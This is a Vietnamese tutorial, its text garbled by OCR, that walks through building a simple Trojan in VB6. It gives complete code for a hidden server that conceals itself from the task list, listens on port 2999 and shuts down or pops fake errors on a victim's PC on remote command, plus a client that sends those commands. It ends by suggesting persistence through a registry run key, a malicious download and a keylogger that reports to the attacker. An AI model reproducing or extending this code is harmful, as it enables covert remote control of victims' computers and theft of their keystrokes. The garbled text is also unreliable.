Cach viét mét Trojan don gian trong VB6

Chung t6i ding bai nay khong phai muc dich khuyén khich cac ban viét
virus pha hoai dir liéu nguwdi ding ma chi mudn qua bai viét nay cac ban
c6 thé hiéu biét mét phan nao d6 vé cach xay dung mot virus. Qua day
cac ban ciing c6 thé xay dung cac y twong vé mdt phan mém chdng virus
khi chang ta biét rd dwong di ciia mét virus mang.

Viét mot Trojan dé dang hon nhiéu so v&i moi ngudi nghi. Tat ca thuce sy chi
can hai chuong trinh ing dung don gian véi ndi dung it hon 100 dong ma
1énh.

Chuong trinh dau tién 13 client, 1a chuong trinh cho nguoi st dung biét.
Chuong trinh thir hai 1a server, hay phan “trojan” thuc.

Bay gid chung ta s& xem chiing ta can gi cho ca hai va mot s6 vi dy mau.
Server

Server 1a phan Trojan ciia chuong trinh. N6 can phai dugc gidu dé ngudi
dung binh thudong khong thé tim thay no.
Pé thyc hién diéu nay ban bat dau béng cach su dung doan ma 1é€nh sau:
Private Sub Form_Load()

Me.Visible = False
End Sub

Doan ma nay lam cho chuong trinh khong thé thay dugc bang mat thuong
nhung c6 thé bi phat hién trong Task Manager cua Windows vi thé néu muén
chuong trinh an t6t hon, chiing ta c6 thé viét doan ma nhu sau:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False

End Sub

(Trong hé diéu hanh Windows, tat ca chuong trinh c¢6 dudi .exe déu dugc thé
hién trong danh sach chuong trinh chay. Tuy nhién chuong trinh cua ban s¢
duoc an trong Running Applications List )




Bay gid chung ta dé co mot chuong trinh tang hinh d6i voi nguoi str dung
binh thudng, ma chi can c6 bon dong Iénh. Tuy nhién né van con qua don
gian, chung ta c6 thé 1am cho no tot hon bang cach thém vao mot s ham.

Pau tién 14 1am sao cho nd c6 thé “nghe” dugc cac két ndi khi n6 xam nhap
duoc vao may, ching ta can thém vao mot dicu khién Winsock Control.

To1 dat tén cho di€u khién cua t61 1a “win”. Con cac ban co6 thé dat 1a bat ctr
cai gi tuy y.

Pé lam cho Trojan "nghe" dugc cong 2999 khi khoi dong, chung ta viét doan

ma nhu sau:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen

End Sub

Doan ma nay thiét 1ap mdt céng mo cuc bo toi céng 2999, va céng ma nd gui
to1 la 445.

Bay gid, chuong trinh di ¢ thé “nghe”, nhung chua 1am duoc diéu gi 1 rang
ca.

Chung ta thém doan ma sau vao form chinh:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestiD

End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)

End Sub




Tiép theo, chung ta s& viét ham DoActions nhu 1a mot chuong trinh con dé
goi vao main form. Doan ma trén thyc hién hai nhiém vuy: Pau tién 1a lam cho
tat ca cac yéu cau két ndi duoc tu dong chap nhan; tlep d6 1a 1am cho tt ca
cac dir li¢u duogc tu dong chap nhan va sau do thi chuyen toan bo dir liéu nay
sang cho ham DoActions ma ching ta s& viét dudi day.

Ham DoActions nén viét & dang public dé cac chuong trinh & ngoai modul
cling ¢6 thé dung duoc. Thém doan ma sau vao modul, va chung ta dang 1lam
viéc voi server cua Trojan:
Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an
error and will be terminated”,vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function
Bay gio ban da c6 mot chuong trinh ma khi dir liéu “Msgbox” dugc gt téi
cong 2999, n6 sé& thé hién mot hop tin nhan msgbox trén may tinh cta nan
nhan. Khi dit liéu “shutdown” duoc gui téi cong 2999, nd sé tat may tinh cta
nan nhan. To6i dung cau 1énh “Select Case” dé dé dang chinh stra doan ma vé
sau nay. Xin chiic mimg, ban vira méi viét xong Trojan dau tién cua ban. Bay
gi0 chung ta hay xem lai doan ma hoan chinh.

Main Form

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen

End Sub

Pivate Sub win_ConnectionRequest(ByVal requestiD As Long)
win.Close




win.Accept requestiD
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub
Hay nhé thém diéu khién winsock va dit tén n6 1a “win” néu ban dung doan
ma nay:

Module

Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an
error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function
T4t ca phan Server cta Trojan chi c6 thé. Gio chung ta xem xét dén phan
Client.

Client

Client 1a cai ma ban sé& twong tac t6i. Ban s& dung né dé két ndi tdi server tir
xa (trojan) va gtri cho no cac 1énh. Sau khi da viét duoc phan server chap
nhan cau 1énh “shutdown”, “msgbox”, chiung ta hay tao ra mot client gui di
cac cau lénh do.

Tao mot form thém mot diéu khién Winsock Control, mot hop text box va
bon nit. Trong doan ma dud1 hop text box dugce dat tén 1a txtIP, cac nat duoc
dat tén 1a cmdConnect, cmdMsgbox, cmdShutdown va cmdDisconnect. Poan
ma nhu sau:

Private Sub cmdConnect_Click()
IpAddy = txtlp.Text




Win.Close

Win.RemotePort = 2999

Win.RemoteHost = IpAddy

Win.LocalPort = 9999

Win.Connect

cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True

End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "'shutdown"
End Sub

Do 1a doan ma cho client. Tat ca viéc nd lam 1a léy dia chi IP tir txtIP va két
ndi véi céng tir xa 2999. Sau khi duoc két ndi, ban c6 thé gt dit ligu
“shutdown’ hay “msgbox” téi server va cac hoat dong tuong ting sé duoc
thue hién (tit may tinh hay thé hién mot hop tin nhan).

Hai chuong trinh ndy 1am dugc rat it nhung c6 thé cai tién nhanh chong thanh
mot chirc nang quan tri tr xa manh néu ban biét ban dang lam gi. T61 dé nghi
la nén c6 gang thém céc loai diéu khién 101 va ham cho cé client va server.
Loi khuyén

Hay lam cho server c6 thé tai dugc mot file ddc ta cua nguoi tan cong.

Thém ma 1énh dé Server duoc thuc thi lac khéi dong (1a mot khoa thanh
ghi).

Va mot keylogger cho server — 1am cho né giri thong tin cho ngudi tin cong.



Cé rat nhiéu cach ban c6 thé lam, chi can dung tri tudng tuong cua ban.



